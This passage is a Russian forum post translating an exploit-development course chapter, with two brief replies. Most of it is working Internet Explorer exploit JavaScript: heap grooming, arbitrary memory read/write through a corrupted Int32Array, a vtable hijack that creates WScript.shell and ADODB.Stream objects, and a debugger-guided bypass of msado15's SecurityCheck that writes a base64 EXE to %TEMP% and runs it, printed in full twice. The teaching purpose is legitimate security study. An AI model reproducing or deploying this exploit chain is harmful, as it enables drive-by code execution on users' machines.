        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }
    
    //---------
    // God mode
    //---------
    
    // At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    jscript9 = read(0x0c0af000) - 0x3b60;
    
    // Now we need to determine the base address of MSHTML. We can create an HTML
    // object and write its reference to the address 0x0c0af000-4 which corresponds
    // to the last element of one of our arrays.
    // Let's find the array at 0x0c0af000-4.
    
    for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    // We write 3 in the last position of one of our arrays. IE encodes the number x
    // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
    // Either we use an odd number or a valid address otherwise IE will crash in the
    // following for loop.
    write(0x0c0af000-4, 3);
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4, obj);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10) - 0x58b9a;
 
    //                                                  vftable
    //                                    +-----> +------------------+
    //                                    |       |                  |
    //                                    |       |                  |
    //                                    |  0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
    //                                    |       |                  |      MOV EAX,ESI | POP ESI | RETN"
    //                                    |  0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
    //                                    |       +------------------+
    //                 object             |
    // EAX ---> +-------------------+     |
    //          | vftptr            |-----+
    //          | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
    //          | jscript9+0xf3baf  | --> "XCHG EAX,EDI | RETN"
    //          | jscript9+0xdc361  | --> "LEAVE | RET 4"
    //          +-------------------+
 
    var old = read(mshtml+0xc555e0+0x14);
 
    write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God Mode On!
    var shell = new ActiveXObject("WScript.shell");
    write(mshtml+0xc555e0+0x14, old);                   // God Mode Off!
 
    addr = get_addr(ActiveXObject);
    var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0;       // ptr to ptr to object
    
    var old_objptr = read(pp_obj);
    var old_vftptr = read(old_objptr);
    
    // Create the new vftable.
    var new_vftable = new Int32Array(0x708/4);
    for (var i = 0; i < new_vftable.length; ++i)
      new_vftable[i] = read(old_vftptr + i*4);
    new_vftable[0x10/4] = jscript9+0x10705e;
    new_vftable[0x14/4] = jscript9+0xdc164;
    var new_vftptr = read(get_addr(new_vftable) + 0x1c);        // ptr to raw buffer of new_vftable
    
    // Create the new object.
    var new_object = new Int32Array(4);
    new_object[0] = new_vftptr;
    new_object[1] = jscript9 + 0x15f800;
    new_object[2] = jscript9 + 0xf3baf;
    new_object[3] = jscript9 + 0xdc361;
    var new_objptr = read(get_addr(new_object) + 0x1c);         // ptr to raw buffer of new_object
    
    function GodModeOn() {
      write(pp_obj, new_objptr);
    }
    
    function GodModeOff() {
      write(pp_obj, old_objptr);
    }
    
    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      bStream.SaveToFile(fname, 2);       // 2 = overwrites file if it already exists
      tStream.Close();
      bStream.Close();
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
 
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    createExe(fname, decode(runcalc));
    shell.Exec(fname);
 
    alert("All done!");
  })();
 
</script>
</head>
<body>
</body>
</html>

Я сократил runcalc. Полный код можно скачать отсюда.

Если вы откроете html файл в IE используя SimpleServer – всё должно работать. Но если перейти по адресу 127.0.0.1 в IE, работать не будет. Мы уже видели эту ошибку раньше:

## Пересекающиеся домены

Строка кода которая выкидывает ошибку подсвечена в коде:

function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      bStream.SaveToFile(fname, 2);       <----------------------------- ошибка здесь!
      tStream.Close();
      bStream.Close();
    }

Сообщение об ошибке такое «SCRIPT3716: Safety settings on this computer prohibit accessing a data source on another domain. (Настройки безопасности на этой компьютере запрещают получать доступ к источникам данных на другом домене)».

Так что давайте перезагрузим html страницу используя SimpleServer, изменим длину массива Int32Array и дадим коду выкинуть ошибку. Мы знаем что были загружены дополнительные модули:

ModLoad: 0eb50000 0eb71000   C:\Windows\SysWOW64\wshom.ocx
ModLoad: 749d0000 749e2000   C:\Windows\SysWOW64\MPR.dll
ModLoad: 0eb80000 0ebaa000   C:\Windows\SysWOW64\ScrRun.dll
ModLoad: 0ebb0000 0ec0f000   C:\Windows\SysWOW64\SXS.DLL
ModLoad: 6e330000 6e429000   C:\Program Files (x86)\Common Files\System\ado\msado15.dll   <-------------
ModLoad: 72f00000 72f1f000   C:\Windows\SysWOW64\MSDART.DLL
ModLoad: 6e570000 6e644000   C:\Program Files (x86)\Common Files\System\Ole DB\oledb32.dll
ModLoad: 74700000 74717000   C:\Windows\SysWOW64\bcrypt.dll
ModLoad: 72150000 72164000   C:\Program Files (x86)\Common Files\System\Ole DB\OLEDB32R.DLL
ModLoad: 738c0000 738c2000   C:\Program Files (x86)\Common Files\System\ado\msader15.dll   <-------------
(15bc.398): C++ EH exception - code e06d7363 (first chance)
(15bc.398): C++ EH exception - code e06d7363 (first chance)

Два модуля на вид довольно интересные: msado15.dll и msader15.dll. Они размещены в директории ado. Не надо быть гением что бы понять то, что это из ADODB.

Посмотрим, сможем ли найти функцию по имени SaveToFile в одном из тех модулей:

0:004> x msad*!*savetofile*
6e3e9ded          msado15!CStream::SaveToFile (<no parameter info>)
6e3ccf19          msado15!CRecordset::SaveToFile (<no parameter info>)

Первая кажется тем, что мы ищем. Поставим точку останова на неё и перезагрузим страницу. Как и ожидалось, выполнение прерывается на msado15!CStream::SaveToFile. Имя функции предпологает что модуль написан на С++ и функция SaveToFile это метод класса CStream. ESI должен указывать на объект класса:

0:007> dd esi
0edbb328  6e36fd28 6e36fd00 6e36fcf0 6e33acd8
0edbb338  00000004 00000000 00000000 00000000
0edbb348  00000000 00000000 00000000 6e36fce0
0edbb358  6e33acc0 6e36fccc 00000000 00000904
0edbb368  00000001 04e4c2bc 00000000 6e36fc94
0edbb378  0edbb3b8 00000000 0edbb490 00000000
0edbb388  00000001 ffffffff 00000000 00000000
0edbb398  00000007 000004b0 00000000 00000000
0:007> ln poi(esi)
(6e36fd28)   msado15!ATL::CComObject<CStream>::`vftable'   |  (6e36fdb8)   msado15!`CStream::_GetEntries'::`2'::_entries
Exact matches:
    msado15!ATL::CComObject<CStream>::`vftable' = <no type information>

ОК, кажется мы на верном пути.
Теперь давайте пройдемся по функции SaveToFile что бы понять что вызывает падение. На протяжении нашей трассировки мы попадаем на очень интересный вызов:

6e3ea0a9 0f8496000000    je      msado15!CStream::SaveToFile+0x358 (6e3ea145)
6e3ea0af 50              push    eax
6e3ea0b0 53              push    ebx
6e3ea0b1 e88f940000      call    msado15!SecurityCheck (6e3f3545)     <-------------------
6e3ea0b6 83c408          add     esp,8
6e3ea0b9 85c0            test    eax,eax
6e3ea0bb 0f8d84000000    jge     msado15!CStream::SaveToFile+0x358 (6e3ea145)

Функция SecurityCheck принимает два параметра. Начнем с изучения первого:

0:007> dd eax
04e4c2bc  00740068 00700074 002f003a 0031002f
04e4c2cc  00370032 0030002e 0030002e 0031002e
04e4c2dc  0000002f 00650067 00000000 6ff81c09
04e4c2ec  8c000000 000000e4 00000000 00000000
04e4c2fc  0024d46c 0024d46c 0024cff4 00000013
04e4c30c  00000000 0000ffff 0c000001 00000000
04e4c31c  00000000 6ff81c30 88000000 00000001
04e4c32c  0024eee4 00000000 6d74682f 61202c6c

Ммм… выглядит как Unicode строка. Посмотрим правы ли мы:

0:007> du eax
04e4c2bc  "http://127.0.0.1/"

Это URL страницы! Как насчет EBX? Посмотрим:

0:007> dd ebx
001d30c4  003a0043 0055005c 00650073 00730072
001d30d4  0067005c 006e0061 00610064 0066006c
001d30e4  0041005c 00700070 00610044 00610074
001d30f4  004c005c 0063006f 006c0061 0054005c
001d3104  006d0065 005c0070 006f004c 005c0077
001d3114  00750072 0063006e 006c0061 002e0063
001d3124  00780065 00000065 00000000 00000000
001d3134  40080008 00000101 0075006f 00630072
0:007> du ebx
001d30c4  "C:\Users\gandalf\AppData\Local\T"
001d3104  "emp\Low\runcalc.exe"

Это полный путь файла которого мы пытаемся создать. Возможно ли то, что эти два URL/пути относятка к ошибке доменов которую мы встретили? Возможно эти два домена это http://127.0.0.1/ и [U]C:[/U].

Возможно, SecurityCheck проверяет указывают ли два аргумент на тот же домен?
Посмотрим что произойдет если мы изменим первый параметр:

0:007> ezu @eax "C:\\"
0:007> du @eax
04e4c2bc  "C:\"

Команда ezu используется для (e)dit a (z)ero-terminated (u)nicode string (редактирование строк оканчивающихся на нуль-терминальный символ). Теперь, когда мы изменили второй аргумент, давайте продолжим выполнение и посмотрим что случится.

Калькулятор появился!!! Ура!!!

Теперь нам надо метод что бы сделать это из javascipt. Это возможно? Лучший путь это выяснить – дизассемблировать msado15.dll с помощью IDA. Перейдя в IDA, начните поиск функции SecurityCheck (CTRL+P и клик на Search), далее клик на сигнатуре функции, нажимаем Ctrl + X и двойной клик на CStream::SaveToFile.

Фукнция SaveToFile большая, но не стоит переживать из-за этого. Нам надо просто проанализировать малую её часть. Давайте начнем следую второму аргументу:

Как видим, EAX приходит из [ESI+44h]. ESI должен быть указателем this, который указывает на текущий объект CStream, но давайте убедимся в этом. Для того что бы проанализировать граф более конфортно, мы можем группировать узлы. Зумить можно по Ctrl и прокручивая колесо мыши. Вот уменьшенный граф после манипуляций:

Теперь очевидно что ESI это действительно указатель this. Это хорошо, потому что переменная bStream в нашем javascript возможно указывает на тот же объект. Посмотрим правы ли мы. Измени немного код что бы слить переменную:

function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      alert(get_addr(bStream).toString(16));        // <-----------------------------
      bStream.SaveToFile(fname, 2);       // 2 = overwrites file if it already exists
      tStream.Close();
      bStream.Close();
    }

Загрузите страницу в IE используя SimpleServer и в WinDbg установим точку останова на SaveToFile:

bm msado15!CStream::SaveToFile

Окно с информацией выскочит с адресом bStream. В моем случае адресом будет 3663f40h. После того как закроем окно, сработает точка останова. Адрес CStream это ESI, который в моем случае 0e8cb328h. Изучим память по адресу 3663f40h (наш bStream):

0:007> dd 3663f40h
03663f40  71bb34c8 0e069a00 00000000 0e5db030
03663f50  05a30f50 03663f14 032fafd4 00000000
03663f60  71c69a44 00000008 00000009 00000000
03663f70  0e8cb248 00000000 00000000 00000000
03663f80  71c69a44 00000008 00000009 00000000
03663f90  0e8cb328 00000000 00000000 00000000    <------------- указатель на CStream!
03663fa0  71c69a44 00000008 00000009 00000000
03663fb0  0e8cb248 00000000 00000000 00000000

Мы видим что по смещению 0x50 у нас указатель на объект CStream чей метод SaveToFile вызван в msado15.dll. Посмотрем сможем ли мы получить строку http://127.0.0.1, которую мы бы хотели модифицировать:

0:007> ? poi(3663f40+50)
Evaluate expression: 244101928 = 0e8cb328
0:007> du poi(0e8cb328+44)
04e5ff14  "http://127.0.0.1/"

Замечательно!

Теперь мы должны определить точное количество байт для их перезаписи оригинальной строкой. Вот легкий путь для этого:

0:007> ezu 04e5ff14 "C:\\"
0:007> dd 04e5ff14
04e5ff14  003a0043 0000005c 002f003a 0031002f
04e5ff24  00370032 0030002e 0030002e 0031002e
04e5ff34  0000002f 00000000 00000000 58e7b7b9
04e5ff44  8e000000 00000000 bf26faff 001a8001
04e5ff54  00784700 00440041 0044004f 002e0042
04e5ff64  00740053 00650072 006d0061 df6c0000
04e5ff74  0000027d 58e7b7be 8c000000 00000000
04e5ff84  00c6d95d 001c8001 00784300 00530057

Надо перезаписать строкой, содержимое которой «003a0043 0000005c».
Измените код как показано ниже:

function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      
      tStream.Close();
      bStream.Close();
    }

Загрузите страницу в IE и, наконец, всё работает отлично.

Вот код польностью для удобства:

<html>
<head>
<script language="javascript">
  (function() {
    alert("Starting!");
    
    CollectGarbage();
 
    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
    a = new Array();
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x300; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x100)
        buf = new ArrayBuffer(0x58);      // must be exactly 0x58!
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x300 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20");
    
    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x300; i < 0x300 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
    // This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...
 
    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;
    
    // Now we modify int32array again to gain full address space read/write access.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // new length
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // new buffer address
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }
    
    //---------
    // God mode
    //---------
    
    // At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    jscript9 = read(0x0c0af000) - 0x3b60;
    
    // Now we need to determine the base address of MSHTML. We can create an HTML
    // object and write its reference to the address 0x0c0af000-4 which corresponds
    // to the last element of one of our arrays.
    // Let's find the array at 0x0c0af000-4.
    
    for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    // We write 3 in the last position of one of our arrays. IE encodes the number x
    // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
    // Either we use an odd number or a valid address otherwise IE will crash in the
    // following for loop.
    write(0x0c0af000-4, 3);
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4, obj);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    mshtml = read(addr + 0x10) - 0x58b9a;
 
    //                                                  vftable
    //                                    +-----> +------------------+
    //                                    |       |                  |
    //                                    |       |                  |
    //                                    |  0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
    //                                    |       |                  |      MOV EAX,ESI | POP ESI | RETN"
    //                                    |  0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
    //                                    |       +------------------+
    //                 object             |
    // EAX ---> +-------------------+     |
    //          | vftptr            |-----+
    //          | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
    //          | jscript9+0xf3baf  | --> "XCHG EAX,EDI | RETN"
    //          | jscript9+0xdc361  | --> "LEAVE | RET 4"
    //          +-------------------+
 
    var old = read(mshtml+0xc555e0+0x14);
 
    write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God Mode On!
    var shell = new ActiveXObject("WScript.shell");
    write(mshtml+0xc555e0+0x14, old);                   // God Mode Off!
 
    addr = get_addr(ActiveXObject);
    var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0;       // ptr to ptr to object
    
    var old_objptr = read(pp_obj);
    var old_vftptr = read(old_objptr);
    
    // Create the new vftable.
    var new_vftable = new Int32Array(0x708/4);
    for (var i = 0; i < new_vftable.length; ++i)
      new_vftable[i] = read(old_vftptr + i*4);
    new_vftable[0x10/4] = jscript9+0x10705e;
    new_vftable[0x14/4] = jscript9+0xdc164;
    var new_vftptr = read(get_addr(new_vftable) + 0x1c);        // ptr to raw buffer of new_vftable
    
    // Create the new object.
    var new_object = new Int32Array(4);
    new_object[0] = new_vftptr;
    new_object[1] = jscript9 + 0x15f800;
    new_object[2] = jscript9 + 0xf3baf;
    new_object[3] = jscript9 + 0xdc361;
    var new_objptr = read(get_addr(new_object) + 0x1c);         // ptr to raw buffer of new_object
    
    function GodModeOn() {
      write(pp_obj, new_objptr);
    }
    
    function GodModeOff() {
      write(pp_obj, old_objptr);
    }
    
    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50) + 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 4, 0x0000005c);   // '\'
      bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      
      tStream.Close();
      bStream.Close();
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2; ++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
 
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    createExe(fname, decode(runcalc));
    shell.Exec(fname);
 
    alert("All done!");
  })();
 
</script>
</head>
<body>
</body>
</html>

Как и прежде, я укоротил runcalc. Вы можете скачать полный вариант отсюда.

© Translated by klaus (r0 Crew)
#2

Остановите klaus’а. Не успеваю читать по русски. :slight_smile:

#3

Это последняя статья, которая была закреплена за мной в переводе курса. Так что… можно сказать что я остановился :slight_smile: